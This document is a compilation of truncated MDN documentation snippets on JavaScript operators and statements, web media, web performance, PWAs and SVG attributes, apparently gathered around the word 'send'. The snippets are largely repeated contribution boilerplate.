send us a pull request. syntax x !== y description the strict inequality operator checks whether its operands are not equal. it is the negation of the strict equality operator so the following two lines will always give the same result: x !== y !(x === y) for details of the comparison algorithm, see the page for the strict equality operator. like the strict equality operator, the strict inequa...
Subtraction (-) - JavaScript
the subtraction operator (-) subtracts the two operands, producing their difference. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x - y examples subtraction with numbers 5 - 3 // 2 3 - 5 // -2 subtraction with non-numbers 'foo' - 3 // nan specifications specification ecmascript (ecma-262)the definition of 'subtraction operator' in that specification. ...
Subtraction assignment (-=) - JavaScript
the subtraction assignment operator (-=) subtracts the value of the right operand from a variable and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x -= y meaning: x = x - y examples using subtraction assignment // assuming the following variable // bar = 5 bar -= 2 // 3 bar -= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification. ...
Unary negation (-) - JavaScript
the unary negation operator (-) precedes its operand and negates it. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: -x examples negating numbers const x = 3; const y = -x; // y = -3 // x = 3 negating non-numbers the unary negation operator can convert a non-number into a number. const x = "4"; const y = -x; // y = -4 specifications specification ecmascript (ecma-262)the definition of 'unary negation operator' in that specification. ...
Unary plus (+) - JavaScript
the unary plus operator (+) precedes its operand and evaluates to its operand but attempts to convert it into a number, if it isn't already. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: +x description although unary negation (-) also can convert non-numbers, unary plus is the fastest and preferred way of converting something into a number, because it does not perform any other operations on the number. it can convert string representations of integers and floats, as well as the non-string values true, false, and null. integers in both decimal and hexadecimal (0x-prefixed) formats are supporte...
Unsigned right shift (>>>) - JavaScript
zero bits are shifted in from the left. the sign bit becomes 0, so the result is always non-negative. unlike the other bitwise operators, zero-fill right shift returns an unsigned 32-bit integer. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax a >>> b description this operator shifts the first operand the specified number of bits to the right. excess bits shifted off to the right are discarded. zero bits are shifted in from the left. the sign bit becomes 0, so the result is always non-negative. unlike the other bitwise operators, zero-fill right shift returns an unsigned 32-bit integer. for non-negative ...
Unsigned right shift assignment (>>>=) - JavaScript
the unsigned right shift assignment operator (>>>=) moves the specified amount of bits to the right and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax operator: x >>>= y meaning: x = x >>> y examples using unsigned right shift assignment let a = 5; // (00000000000000000000000000000101) a >>>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>>= 2; // 1073741822 (00111111111111111111111111111110) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in th...
class expression - JavaScript
. similar to function expressions, class expressions can be named or unnamed. if named, the name of the class is local to the class body only. javascript classes use prototype-based inheritance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax const myclass = class [classname] [extends otherclassname] { // class body }; description a class expression has a similar syntax to a class declaration (statement). as with class statements, the body of a class expression is executed in strict mode. there are several differences between class expressions and class statements, however: class expressions may o...
delete operator - JavaScript
the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax delete expression where expression should evaluate to a property reference, e.g.: delete object.property delete object['property'] parameters object the name of an object, or an expression evaluating to an object. property the property to delete. return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode.
function* expression - JavaScript
syntax function* [name]([param1[, param2[, ..., paramn]]]) { statements } parameters name optional the function name. can be omitted, in which case the function is anonymous. ...
Function expression - JavaScript
the function keyword can be used to define a function inside an expression. you can also define functions using the function constructor and a function declaration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax the expression is not allowed at the start of a statement. function [name]([param1[, param2[, ..., paramn]]]) { statements } as of es2015, you can also use arrow functions. parameters name optional the function name. can be omitted, in which case the function is anonymous. the name is only local to the function body. paramn optional the name of an argument to be passed to the function. ...
in operator - JavaScript
syntax prop in object parameters prop a string or symbol representing a property name or array index (non-symbols will be coerced to strings). ...
instanceof - JavaScript
the instanceof operator tests to see if the prototype property of a constructor appears anywhere in the prototype chain of an object. the return value is a boolean value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax object instanceof constructor parameters object the object to test. constructor function to test against description the instanceof operator tests the presence of constructor.prototype in object's prototype chain. // defining constructors function c() {} function d() {} let o = new c() // true, because: object.getprototypeof(o) === c.prototype o instanceof c // false, because...
new.target - JavaScript
ng the new operator. in constructors and functions invoked using the new operator, new.target returns a reference to the constructor or function. in normal function calls, new.target is undefined. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax new.target description the new.target syntax consists of the keyword new, a dot, and the identifier target. normally, the left-hand side of the dot is the object on which property access is performed, but here, new is not an object. the new.target pseudo-property is available in all functions. in class constructors, it refers to the constructed class. in ordinary ...
this - JavaScript
e of a function's this regardless of how it's called, and es2015 introduced arrow functions which don't provide their own this binding (it retains the this value of the enclosing lexical context). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax this value a property of an execution context (global, function or eval) that, in non–strict mode, is always a reference to an object and in strict mode can be any value. description global context in the global execution context (outside of any function), this refers to the global object whether in strict mode or not. // in web browsers, the window object is a...
typeof - JavaScript
syntax the typeof operator is followed by its operand: typeof operand typeof(operand) parameters operand an expression representing the object or primitive whose type is to be returned. ...
void operator - JavaScript
syntax void expression description this operator allows evaluating expressions that produce a value into places where an expression that evaluates to undefined is desired. ...
yield* - JavaScript
syntax yield* expression; expression the expression which returns an iterable object. description the yield* expression iterates over the operand and yields each value returned by it. ...
empty - JavaScript
syntax ; description the empty statement is a semicolon (;) indicating that no statement will be executed, even if javascript syntax requires one. ...
async function - JavaScript
await keywords enable asynchronous, promise-based behavior to be written in a cleaner style, avoiding the need to explicitly configure promise chains. async functions may also be defined as expressions. the source for this interactive demo is stored in a github repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax async function name([param[, param[, ...param]]]) { statements } parameters name the function’s name. param the name of an argument to be passed to the function. statements the statements comprising the body of the function. the await mechanism may be used. return value a promise which will be resolved with the value returned by the async function, o...
block - JavaScript
a block statement (or compound statement in other languages) is used to group zero or more statements. the block is delimited by a pair of braces ("curly brackets") and may optionally be labelled: the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax block statement { statementlist } labelled block statement labelidentifier: { statementlist } statementlist statements grouped within the block statement. labelidentifier an optional label for visual identification or as a target for break. description the block statement is often called compound statement in other languages. it allows you to use mult...
break - JavaScript
the break statement terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax break [label]; label optional identifier associated with the label of the statement. if the statement is not a loop or switch, this is required. description the break statement includes an optional label that allows the program to break out of a labeled statement. the break statement needs to be nested within the referenced label. the labeled statement can be any block statement; it does not have t...
const - JavaScript
constants are block-scoped, much like variables defined using the let keyword. the value of a constant can't be changed through reassignment, and it can't be redeclared. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax const name1 = value1 [, name2 = value2 [, ... [, namen = valuen]]]; namen the constant's name, which can be any legal identifier. valuen the constant's value. this can be any legal expression, including a function expression. description this declaration creates a constant whose scope can be either global or local to the block in which it is declared. global constants do not become pro...
continue - JavaScript
the continue statement terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax continue [label]; label identifier associated with the label of the statement. description in contrast to the break statement, continue does not terminate the execution of the loop entirely: instead, in a while loop, it jumps back to the condition. in a for loop, it jumps to the update expression. the continue statement can include an optional label that allows the pro...
do...while - JavaScript
executes a specified statement until the test condition evaluates to false. the condition is evaluated after executing the statement, resulting in the specified statement executing at least once. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax do statement while (condition); statement a statement that is executed at least once and is re-executed each time the condition evaluates to true. to execute multiple statements within the loop, use a block statement ({ ... }) to group those statements. condition an expression evaluated after each pass through the loop. if condition evaluates to true, the ...
for...in - JavaScript
the for...in statement iterates over all enumerable properties of an object that are keyed by strings (ignoring ones keyed by symbols), including inherited enumerable properties. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax for (variable in object) statement variable a different property name is assigned to variable on each iteration. object object whose non-symbol enumerable properties are iterated over. description a for...in loop only iterates over enumerable, non-symbol properties. objects created from built–in constructors like array and object have inherited non–enumerable properties ...
for...of - JavaScript
, arguments or nodelist), typedarray, map, set, and user-defined iterables. it invokes a custom iteration hook with statements to be executed for the value of each distinct property of the object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax for (variable of iterable) { statement } variable on each iteration a value of a different property is assigned to variable. variable may be declared with const, let, or var. iterable object whose iterable properties are iterated. examples iterating over an array const iterable = [10, 20, 30]; for (const value of iterable) { console.log(value); } // 10 ...
for - JavaScript
ent creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement (usually a block statement) to be executed in the loop. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax for ([initialization]; [condition]; [final-expression]) statement initialization an expression (including assignment expressions) or variable declaration evaluated once before the loop begins. typically used to initialize a counter variable. this expression may optionally declare new variables with var or let keywords. variables declared with var are not local t...
function* - JavaScript
the function* declaration (function keyword followed by an asterisk) defines a generator function, which returns a generator object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. you can also define generator functions using the generatorfunction constructor, or the function expression syntax. syntax function* name([param[, param[, ... param]]]) { statements } name the function name. param optional the name of a formal parameter for the function. statements the statements comprising the body of the function. description generators are functions that can be exited and later re-entered. their contex...
function declaration - JavaScript
the function declaration (function statement) defines a function with the specified parameters. you can also define functions using the function constructor and a function expression. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax function name([param[, param,[..., param]]]) { [statements] } name the function name. param optional the name of an argument to be passed to the function. maximum number of arguments varies in different engines. statements optional the statements which comprise the body of the function. description a function created with a function declaration is a function ...
if...else - JavaScript
the if statement executes a statement if a specified condition is truthy. if the condition is falsy, another statement can be executed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax if (condition) statement1 [else statement2] condition an expression that is considered to be either truthy or falsy. statement1 statement that is executed if condition is truthy. can be any statement, including further nested if statements. to execute multiple statements, use a block statement ({ ... }) to group those statements. to execute no statements, use an empty statement. statement2 statement that is ex...
import - JavaScript
s the await keyword. let module = await import('/modules/my-module.js'); examples standard import the code below shows how to import from a secondary module to assist in processing an ajax json request. ...
let - JavaScript
syntax let var1 [= value1] [, var2 [= value2]] [, ..., varn [= valuen]; parameters var1, var2, …, varn the names of the variable or variables to declare. ...
return - JavaScript
syntax return [[expression]]; expression the expression whose value is to be returned. if omitted, undefined is returned instead. ...
switch - JavaScript
tatement evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case, as well as statements in cases that follow the matching case. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax switch (expression) { case value1: //statements executed when the //result of expression matches value1 [break;] case value2: //statements executed when the //result of expression matches value2 [break;] ... case valuen: //statements executed when the //result of expression matches valuen [break;] [default: //statements...
throw - JavaScript
(the statements after throw won't be executed), and control will be passed to the first catch block in the call stack. if no catch block exists among caller functions, the program will terminate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax throw expression; expression the expression to throw. description use the throw statement to throw an exception. when you throw an exception, expression specifies the value of the exception. each of the following throws an exception: throw 'error2'; // generates an exception with a string value throw 42; // generates an exception with the value 42 throw ...
try...catch - JavaScript
syntax try { try_statements } [catch (exception_var_1 if condition_1) { // non-standard catch_statements_1 }] ... ...
var - JavaScript
syntax var varname1 [= value1] [, varname2 [= value2] ... [, varnamen [= valuen]]]; varnamen variable name. it can be any legal identifier. ...
while - JavaScript
the while statement creates a loop that executes a specified statement as long as the test condition evaluates to true. the condition is evaluated before executing the statement. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax while (condition) statement condition an expression evaluated before each pass through the loop. if this condition evaluates to true, statement is executed. when condition evaluates to false, execution continues with the statement after the while loop. statement an optional statement that is executed as long as the condition evaluates to true. to execute multiple statements wi...
JavaScript typed arrays - JavaScript
fault and can be set to little-endian in the getter/setter methods. web apis using typed arrays these are some examples of apis that make use of typed arrays; there are others, and more are being added all the time. filereader.prototype.readasarraybuffer() the filereader.prototype.readasarraybuffer() method starts reading the contents of the specified blob or file. xmlhttprequest.prototype.
send() xmlhttprequest instances'
send() method now supports typed arrays and arraybuffer objects as argument. imagedata.data is a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 inclusive. examples using views with buffers first of all, we will need to create a buffer, here with a fixed length of 16-bytes: let ...
Media container formats (file types) - Web media technologies
be selected depending on bandwidth availability, but in our case, we'll use it to offer format options. in the example shown here, a video is offered to the browser in two formats: webm and mp4. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the video is offered first in webm format (with the type attribute set to video/webm). if the user agent can't play that, it moves on to the next option, whose type is specified as video/mp4. if neither of those can be played, the text "this browser does not support the html5 video element." is presented. specifications specification comment etsi 3gp...
Web media technologies
lly and across a network. this includes using local cameras and microphones to capture video, audio, and still images. mediastream recording api the mediastream recording api lets you capture media streams to process or filter the data or record it to disk. web audio api the web audio api lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then
send that audio to a destination such as an <audio> element, a media stream, or to disk. webrtc webrtc (web real-time communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the internet, without requiring an intermediary. guides overview of media technology on the web a general look at the open web technologies and apis tha...
Performance fundamentals - Web Performance
or if they seem to indicate that the web browser has caused the problem, try to provide a reduced test case that maximally isolates the problem. that often helps in diagnosing problems. see if you can reproduce the problem by saving and loading a static copy of an html page (including any images/stylesheets/scripts it embeds). if so, edit the static files to remove any private information, then
send them to others for help (submit a bugzilla report, for example, or host it on a server and share the url). you should also share any profiling information you've collected using the tools listed above. ...
Lazy loading - Web Performance
hen, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user navigates to that cart page. strategies lazy loading can be applied to multiple resources and through multiple strategies. general code splitting javascript, css and html can be split into smaller chunks. this enables
sending the minimal code required to provide value upfront, improving page-load times. the rest can be loaded on demand. entry point splitting: separates code by entry point(s) in the app dynamic splitting: separates code where dynamic import() statements are used javascript script type module any script tag with type="module" is treated like a javascript module and is deferred by ...
Web Performance
small as possible with efficient file formats and sub setting. from there, we'll go on to talk about how browsers text, and how you can use css and javascript features to ensure your fonts render quickly, and with minimal disruption to the user experience. performance bottlenecks understanding bandwidth bandwidth is the amount of data measured in megabits(mb) or kilobits(kb) that one can
send per second. this article explains the role of bandwidth in media-rich internet applications, how you can measure it, and how you can optimize applications to make the best use of available bandwidth. the role of tls in performance tls—or https as we tend to call it—is crucial in creating secure and safe user experiences. while hardware has reduced the negative impacts tls has had on...
Progressive web app structure - Progressive web apps (PWAs)
ction and solid performance while keeping all the benefits of the web. being linkable, progressive and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and
send a url to someone if you want to share it. progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
t-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline. they run on a separate thread from the main javascript code of our page, and don't have any access to the dom structure. this introduces a different approach from traditional web programming — the api is non-blocking, and can
send and receive communication between different contexts. you are able to give a service worker something to work on, and receive the result whenever it is ready using a promise-based approach. they can do a lot more than "just" offering offline capabilities, including handling notifications, performing heavy calculations on a separate thread, etc. service workers are quite powerful as they can take...
alignment-baseline - SVG: Scalable Vector Graphics
fore-edge, and text-after-edge scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalignment-baselinechrome ? edge ? firefox ? ie ? opera ? safari ...
baseline-shift - SVG: Scalable Vector Graphics
cal-align should be preferred. scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaseline-shiftchrome ? edge ? firefox ? ie ? opera ? safari ...
clip-path - SVG: Scalable Vector Graphics
ox extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box. note: for more details on the clip-path syntax, see the css property clip-path reference page. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-pathchrome ? edge ? firefox ? ie ? opera ? safari ? ...
clip-rule - SVG: Scalable Vector Graphics
" width="50" height="90" x="50" fill="red" /> </svg> elements the following elements can use the clip-rule attribute, but only if they are inside a <clippath> element. graphical elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclip-rulechrome ? edge ? firefox ? ie ? opera ? safari ? ...
color-interpolation-filters - SVG: Scalable Vector Graphics
no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation-filters' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolation-filterschrome ? edge ? firefox ? ie ? opera ? safari ...
color-interpolation - SVG: Scalable Vector Graphics
tion no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-interpolationchrome ? edge ? firefox ? ie ? opera ? safari ...
color-profile - SVG: Scalable Vector Graphics
cification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-profile' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-profile deprecatedchrome ? edge ? firefox ? ie ? opera ? safari ...
color - SVG: Scalable Vector Graphics
e restriction to which elements it applies. scalable vector graphics (svg) 1.1 (second edition)the definition of 'color' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolorchrome ? edge ? firefox ? ie ? opera ? safari ? ...
cursor - SVG: Scalable Vector Graphics
al notation for a reference. the syntax for this reference is the same as the css uri. elements the following elements can use the cursor attribute container elements » graphics elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcursorchrome ? edge ? firefox ? ie ? opera ? safari ? ...
dominant-baseline - SVG: Scalable Vector Graphics
introduced the text-top value. scalable vector graphics (svg) 1.1 (second edition)the definition of 'dominant-baseline' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdominant-baselinechrome ? edge ? firefox ? ie ? opera ? safari ...
fill-opacity - SVG: Scalable Vector Graphics
s percentage values for fill-opacity, however, it is not widely supported yet (see browser compatibility below) as a consequence, it is best practices to set opacity with a value in the range [0-1]. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-opacitychrome ? edge ? firefox ? ie ? opera ? safari ...
fill-rule - SVG: Scalable Vector Graphics
site direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="evenodd" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-rulechrome ? edge ? firefox ? ie ? opera ? safari ? ...
fill - SVG: Scalable Vector Graphics
finition for animations scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill' in that specification. recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfillchrome ? edge ? firefox ? ie ? opera ? safari ? ...
filter - SVG: Scalable Vector Graphics
alues by several special filter functions. scalable vector graphics (svg) 1.1 (second edition)the definition of 'filter' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilterchrome ? edge ? firefox ? ie ? opera ? safari ? ...
font-family - SVG: Scalable Vector Graphics
commendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-familychrome ? edge ? firefox ? ie ? opera ? safari ...
font-style - SVG: Scalable Vector Graphics
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-stylechrome ? edge ? firefox ? ie ? opera ? safari ?
font-weight - SVG: Scalable Vector Graphics
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-weightchrome ? edge ? firefox ? ie ? opera ? safari ...
pointer-events - SVG: Scalable Vector Graphics
troke | all | none default value visiblepainted animatable yes for a detailed explanation of each possible value, have a look at the css pointer-events documentation. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpointer-eventschrome ? edge ? firefox ? ie ? opera ? safari ...
shape-rendering - SVG: Scalable Vector Graphics
idate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshape-renderingchrome ? edge ? firefox ? ie ? opera ? safari ...
spreadMethod - SVG: Scalable Vector Graphics
scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <lineargradient>' in that specification. recommendation initial definition for <lineargradient> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. no compatibility data found. please contribute data for "svg.attributes.presentation.spreadmethod" (depth: 1) to the mdn compatibility data repository. ...
stroke-dasharray - SVG: Scalable Vector Graphics
lengths of alternating dashes and gaps. if an odd number of values is provided, then the list of values is repeated to yield an even number of values. thus, 5,3,2 is equivalent to 5,3,2,5,3,2. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dasharraychrome ? edge ? firefox ? ie ? opera ? safari ...
stroke-dashoffset - SVG: Scalable Vector Graphics
animatable yes the offset is usually expressed in user units resolved against the pathlength but if a <percentage> is used, the value is resolved as a percentage of the current viewport. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dashoffsetchrome ? edge ? firefox ? ie ? opera ? safari ...
stroke-linecap - SVG: Scalable Vector Graphics
,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-linecapchrome ? edge ? firefox ? ie ? opera ? safari ...
stroke-miterlimit - SVG: Scalable Vector Graphics
pproximately 11.5 degrees. usage context value <number> default value 4 animatable yes the value of stroke-miterlimit must be greater than or equal to 1. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-miterlimitchrome ? edge ? firefox ? ie ? opera ? safari ...
stroke-opacity - SVG: Scalable Vector Graphics
ill partially show the fill underneath. to avoid this effect, it is possible to apply a global opacity with the opacity attribute or to put the stroke behind the fill with the paint-order attribute. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-opacitychrome ? edge ? firefox ? ie ? opera ? safari ...
stroke-width - SVG: Scalable Vector Graphics
